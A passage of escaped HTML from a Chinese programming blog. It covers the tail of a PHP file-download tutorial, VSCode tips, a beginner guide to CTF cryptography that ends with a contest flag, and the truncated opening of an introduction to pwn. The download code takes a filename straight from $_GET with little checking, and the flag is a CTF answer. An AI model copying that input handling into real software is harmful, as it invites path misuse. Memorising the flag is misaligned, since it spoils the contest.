发送文件内容\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset_time_limit(0);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ereadfile($file);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e?\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"其二\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E4%BB%A3%E7%A0%81/#%E5%85%B6%E4%BA%8C\" class=\"headerlink\" title=\"其二\"\u003e\u003c/a\u003e其二\u003c/h2\u003e\u003cul\u003e\u003cli\u003e其实这算html常规方式(\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;button\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;a href = \u0026#34;http://localhost/down.zip\u0026#34;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 下载文件\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/button\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"其三\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E4%BB%A3%E7%A0%81/#%E5%85%B6%E4%B8%89\" class=\"headerlink\" title=\"其三\"\u003e\u003c/a\u003e其三\u003c/h2\u003e\u003cp\u003e传递参数:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ea\u003c/span\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#34;http://localhost?f=\u0026#39;down\u0026#39;\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 下载文件\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查找文件并挑战到下载链接:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$down\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e]; \u003cspan class=\"comment\"\u003e//获取文件参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$filename\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$down\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#39;.zip\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//获取文件名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$dir\u003c/span\u003e =\u003cspan class=\"string\"\u003e\u0026#34;down/\u0026#34;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//相对于网站根目录的下载目录路径\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$down_host\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_SERVER\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;HTTP_HOST\u0026#39;\u003c/span\u003e].\u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//当前域名\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//判断如果文件存在,则跳转到下载路径\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"title function_ invoke__\"\u003efile_exists\u003c/span\u003e(\u003cspan class=\"keyword\"\u003e__DIR__\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$dir\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$filename\u003c/span\u003e)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_ invoke__\"\u003eheader\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;location:http://\u0026#39;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$down_host\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$dir\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$filename\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_ invoke__\"\u003eheader\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;HTTP/1.1 404 Not Found\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E4%BB%A3%E7%A0%81/"},{"title":"VScode使用笔记","time":"2021-07-18T14:42:25Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"毛玻璃效果:Vibrnancy\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/VScode%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/#%E6%AF%9B%E7%8E%BB%E7%92%83%E6%95%88%E6%9E%9C%EF%BC%9AVibrnancy\" class=\"headerlink\" title=\"毛玻璃效果:Vibrnancy\"\u003e\u003c/a\u003e毛玻璃效果:Vibrnancy\u003c/h2\u003e\u003ch3 id=\"安装Vibrnancy\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/VScode%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/#%E5%AE%89%E8%A3%85Vibrnancy\" class=\"headerlink\" title=\"安装Vibrnancy\"\u003e\u003c/a\u003e安装Vibrnancy\u003c/h3\u003e\u003cp\u003e直接在VScode插件市场里搜,安装图里这个就好了。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/vf-1.png\" alt=\"就这个\"/\u003e\u003c/p\u003e\u003ch3 id=\"配置\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/VScode%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/#%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"配置\"\u003e\u003c/a\u003e配置\u003c/h3\u003e\u003cp\u003e安装完后别急着关。点击卸载旁边的小齿轮,进入扩展设置。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/vf-2.png\"/\u003e\u003c/p\u003e\u003cp\u003e设置里搜vibrancy,回车。按照图片里的设置即可。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/vf-3.png\"/\u003e\u003c/p\u003e\u003cp\u003e完成后,右下角会弹出确认。一路确认即可。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/vf-4.png\"/\u003e\u003c/p\u003e\u003cp\u003e完事儿。\u003c/p\u003e\u003ch3 id=\"后记\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/VScode%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/#%E5%90%8E%E8%AE%B0\" class=\"headerlink\" title=\"后记\"\u003e\u003c/a\u003e后记\u003c/h3\u003e\u003cul\u003e\u003cli\u003e需要注意的一点是,这个插件每次更新VSCode就要重新运行Reload Vibrancy。\u003c/li\u003e\u003cli\u003e如果不起作用,重新启动一下VSCode,应该就好了。\u003c/li\u003e\u003cli\u003e\u003cdel\u003e咱现在已经不用这个插件了(返璞归真×还是原皮好看√\u003c/del\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"文档比对\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/VScode%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/#%E6%96%87%E6%A1%A3%E6%AF%94%E5%AF%B9\" class=\"headerlink\" title=\"文档比对\"\u003e\u003c/a\u003e文档比对\u003c/h2\u003e\u003cul\u003e\u003cli\u003e打开VSCODE,点击【File】–》【Add Folder to Workspace…】浏览打开要对比文件所在的文件夹。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://exp-picture.cdn.bcebos.com/3d002dbad341037da04ae1c2a9bc7dc5ce672dd1.jpg?x-bce-process=image/resize,m_lfit,w_500,limit_1/format,f_jpg/quality,q_80\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e导入成功后就能看在VSCODE的左侧看到已经将文件导入到工作空间。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://exp-picture.cdn.bcebos.com/23fd63c5cf672b5f923b2d223314f4d0b40327d1.jpg?x-bce-process=image/resize,m_lfit,w_500,limit_1/format,f_jpg/quality,q_80\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e按CTRL键选中要对比的两个文件,并右击选择【Compare Selected】开始对比文件。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://exp-picture.cdn.bcebos.com/b955ead0b503c8d20b836ffa498333bf3aef21d1.jpg?x-bce-process=image/resize,m_lfit,w_500,limit_1/format,f_jpg/quality,q_80\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003eVSCODE会将两个文件按左右分隔,不一样的地方会红色高亮显示,右侧的状态柱标红色的地方就表示为不同,可以直接点击红色的地方快速查看。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://exp-picture.cdn.bcebos.com/32fe25ef354f50b8e043806fdc4afa32929c18d1.jpg?x-bce-process=image/resize,m_lfit,w_500,limit_1/format,f_jpg/quality,q_80\"/\u003e\u003c/p\u003e\u003ch2 id=\"格式化风格配置\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/VScode%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/#%E6%A0%BC%E5%BC%8F%E5%8C%96%E9%A3%8E%E6%A0%BC%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"格式化风格配置\"\u003e\u003c/a\u003e格式化风格配置\u003c/h2\u003e\u003col\u003e\u003cli\u003ectrl + p 打开 setting.json\u003c/li\u003e\u003cli\u003e输入以下内容保存即可\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003e\u0026#34;C_Cpp.clang_format_style\u0026#34;\u003c/span\u003e\u003cspan class=\"punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;{ BasedOnStyle: Chromium, IndentWidth: 4}\u0026#34;\u003c/span\u003e\u003cspan class=\"punctuation\"\u003e,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"快捷键集锦\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/VScode%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/#%E5%BF%AB%E6%8D%B7%E9%94%AE%E9%9B%86%E9%94%A6\" class=\"headerlink\" title=\"快捷键集锦\"\u003e\u003c/a\u003e快捷键集锦\u003c/h2\u003e\u003col\u003e\u003cli\u003e折叠/展开当前行 \u003ccode\u003eCtrl+Shift+[/]\u003c/code\u003e\u003c/li\u003e\u003cli\u003e文本自动换行 \u003ccode\u003eAlt+Z\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/VScode%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/"},{"title":"Crypto入门指北","time":"2021-07-08T11:26:31Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"关于密码学\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Crypto%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97/#%E5%85%B3%E4%BA%8E%E5%AF%86%E7%A0%81%E5%AD%A6\" class=\"headerlink\" title=\"关于密码学\"\u003e\u003c/a\u003e关于密码学\u003c/h2\u003e\u003cp\u003e顾名思义就是研究加密的学科。比如要在Alice与Bob两人通信过程中,在有Eve窃听的情况下,依然保证消息不泄露,这就需要Alice用一个加密密钥(类似于开锁的钥匙)对信息加密,而Bob将收到的信息用解密密钥解密,这样Eve就无法得知通信内容。而凯撒密码就是十分著名的一种加密方式,将字母移位,从而达到加密的目的,凯撒密码属于古典密码,在平台的Classic Crypto分类中就有许多这样的密码。但是它们的安全性都基于对加密算法的保护,一旦加密算法暴露,哪怕没有密钥,也能够进行解密。因此,现代密码学要求在加密算法公开的情况下,只要不知道密钥,就无法对消息进行解密。这样的话,仅需要保护一个不算长的密钥即可保护一段信息;即使密钥泄露,换个密钥就能继续用同一个加密算法加密。所以,密码学就是要寻找一个在不知道密钥情况下无法破解的算法。因此,下面这些题目,都会有一个用python写的加密脚本,这些都是有漏洞的加密方式,你需要从中找出漏洞,并且在没有密钥的情况下恢复明文。\u003c/p\u003e\u003ch2 id=\"密码学需要什么基础知识\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Crypto%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97/#%E5%AF%86%E7%A0%81%E5%AD%A6%E9%9C%80%E8%A6%81%E4%BB%80%E4%B9%88%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86\" class=\"headerlink\" title=\"密码学需要什么基础知识\"\u003e\u003c/a\u003e密码学需要什么基础知识\u003c/h2\u003e\u003cul\u003e\u003cli\u003e数学基础: 密码学是数学的一个应用学科,最早的公钥密码算法RSA就是基于数论的,因此学习密码学通常还需要从数论开始学起,公钥密码往后发展的过程中,也逐步用到了线性代数与抽象代数的内容,那些东西由于过难在本次新生赛不会涉及,因此请先从数论开始(除了用于防大佬新生ak的Easy RSA有用到线性代数的复杂知识,想要钻研的这题的新生请慎重)。其次,最早不是基于数学的块密码,在发展的过程中,也被运用数学的语言来描述,从而更能够更清晰的找到攻击方法。因此,学习密码学会涉及到大量的数学知识,欢迎对数学感兴趣(至少不讨厌)的同学来钻研学习\u003c/li\u003e\u003cli\u003e编程基础: 现代密码学比古典密码复杂许多,它的加密解密算法不是人能够口算或者笔算出来的东西,因此也需要编程。而密码学由于经常要用到特别大的数字,远超c和c++的long long int的上限,因此一般使用python编写程序。python是一个较接近自然语言的编程语言,因此容易上手,灵活运用搜索引擎以及网上一些教程很容易学会。\u003c/li\u003e\u003cli\u003e英语基础: 你有可能会遇到一些需要阅读纯英文文章才能解决的题目,需要有一定的耐心才能看明白。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"密码学需要哪些工具\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Crypto%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97/#%E5%AF%86%E7%A0%81%E5%AD%A6%E9%9C%80%E8%A6%81%E5%93%AA%E4%BA%9B%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"密码学需要哪些工具\"\u003e\u003c/a\u003e密码学需要哪些工具\u003c/h2\u003e\u003cul\u003e\u003cli\u003epython\u003c/li\u003e\u003cli\u003e两个用的挺多的python库:pycryptodome,gmpy2(网上均有安装方法,使用方法也有,也可直接查文档)\u003c/li\u003e\u003cli\u003e(sagemath)对初学者来说用处不大\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"如何学习密码学\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Crypto%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97/#%E5%A6%82%E4%BD%95%E5%AD%A6%E4%B9%A0%E5%AF%86%E7%A0%81%E5%AD%A6\" class=\"headerlink\" title=\"如何学习密码学\"\u003e\u003c/a\u003e如何学习密码学\u003c/h2\u003e\u003cul\u003e\u003cli\u003e善用搜索引擎\u003c/li\u003e\u003cli\u003e在ctfwiki的crypto分区寻找一些crypto的基础知识\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"当我在做题时遇到困难怎么办\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Crypto%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97/#%E5%BD%93%E6%88%91%E5%9C%A8%E5%81%9A%E9%A2%98%E6%97%B6%E9%81%87%E5%88%B0%E5%9B%B0%E9%9A%BE%E6%80%8E%E4%B9%88%E5%8A%9E\" class=\"headerlink\" title=\"当我在做题时遇到困难怎么办\"\u003e\u003c/a\u003e当我在做题时遇到困难怎么办\u003c/h2\u003e\u003cul\u003e\u003cli\u003e先去各大搜索引擎轮番搜一遍\u003c/li\u003e\u003cli\u003e阅读《提问的智慧》\u003c/li\u003e\u003cli\u003e寻找管理员里那个密码fw寻求帮助\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e当然,就算做题没遇到困难,只要对密码学感兴趣,也欢迎去找那个密码fw闲聊.\u003cdel\u003e并教教他密码学,他可菜了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003ecrypto是个比较小众的方向,但也相当有趣。会有很硬核的数学让人想放弃,但坚持下来慢慢搞,一定会有很大收获。\u003c/p\u003e\u003cp\u003emoectf{I_L0Ve_M@th_AnD_CRypT0}\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Crypto%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97/"},{"title":"Pwn从入门到入狱","time":"2021-07-08T10:31:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"Pwn从入门到入狱\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1\" class=\"headerlink\" title=\"Pwn从入门到入狱\"\u003e\u003c/a\u003ePwn从入门到入狱\u003c/h1\u003e\u003cp\u003eCopyright © 2020 arttnba3,XDSEC\u003c/p\u003e\u003ch2 id=\"简介:什么是Pwn?\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E7%AE%80%E4%BB%8B%EF%BC%9A%E4%BB%80%E4%B9%88%E6%98%AFPwn%EF%BC%9F\" class=\"headerlink\" title=\"简介:什么是Pwn?\"\u003e\u003c/a\u003e简介:什么是Pwn?\u003c/h2\u003e\u003cp\u003e\u003cstrong\u003ePwn\u003c/strong\u003e这个词本身其实是一个拟声词,最初来源于黑客们设想中的完全获取一台设备的控制权后便会发出“砰”的一声,Pwn因此而得名,即\u003cstrong\u003e利用挖掘到的二进制漏洞对设备或系统发起攻击,并最终拿到shell(获取控制权)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003ePwn也是最能代表\u003cstrong\u003e原教旨主义黑客\u003c/strong\u003e的一个安全研究方向\u003cdel\u003e同时也是最容易进监狱的一个方向\u003c/del\u003e\u003c/p\u003e\u003ch2 id=\"预备知识\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E9%A2%84%E5%A4%87%E7%9F%A5%E8%AF%86\" class=\"headerlink\" title=\"预备知识\"\u003e\u003c/a\u003e预备知识\u003c/h2\u003e\u003cp\u003e作为二进制安全的分支之一,Pwn需要你\u003cstrong\u003e熟练掌握\u003c/strong\u003e如下基础知识:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e主流平台汇编语言,包括但不局限于X86、MIPS等\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eC语言\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e计算机组成原理\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e计算机操作系统\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e静态分析(IDA)\u0026amp;动态调试(GDB)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003ePython\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e编译原理\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e……\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e看完你可能会感觉有一丶丶头大,不过少有人是先把计科专业本科的内容全部学完才开始学pwn的,大家都是\u003cstrong\u003e一边比赛一边学习的\u003c/strong\u003e,所以不用担心因为自己0基础导致无法入门的情况的发生\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eCTF TO LEARN, NOT LEARN TO CTF\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"Pwn的解题过程?\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#Pwn%E7%9A%84%E8%A7%A3%E9%A2%98%E8%BF%87%E7%A8%8B%EF%BC%9F\" class=\"headerlink\" title=\"Pwn的解题过程?\"\u003e\u003c/a\u003ePwn的解题过程?\u003c/h2\u003e\u003col\u003e\u003cli\u003e题目的二进制文件一般会被部署到服务器上,使用\u003ccode\u003enc xx.xx.xx.xx(ip) xxxx(端口)\u003c/code\u003e命令可以与服务器进行交互。并且该二进制文件的副本(与服务器上的完全相同或者基本相同)将作为附件形式被提供给选手下载。\u003c/li\u003e\u003cli\u003e你需要逆向分析二进制文件副本中存在的可利用漏洞,针对其编写\u003ccode\u003eExploit\u003c/code\u003e(漏洞利用脚本),然后向服务器发起攻击,拿到服务器上保存的\u003ccode\u003eflag文件或字符串\u003c/code\u003e,将其提交至本平台。\u003c/li\u003e\u003cli\u003e注意命令行中的\u003ccode\u003enc\u003c/code\u003e并不是做题工具,你需要在Linux下安装\u003ccode\u003epwntools\u003c/code\u003e库(或者其它),用于编写可用性较高的\u003ccode\u003eExploit\u003c/code\u003e。至于如何安装,如何使用,就需要聪明的你发挥自己的学习能力啦~\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"0基础入门:新人的第一个安全漏洞的利用——栈溢出——ret2text\"\u003e\u003ca 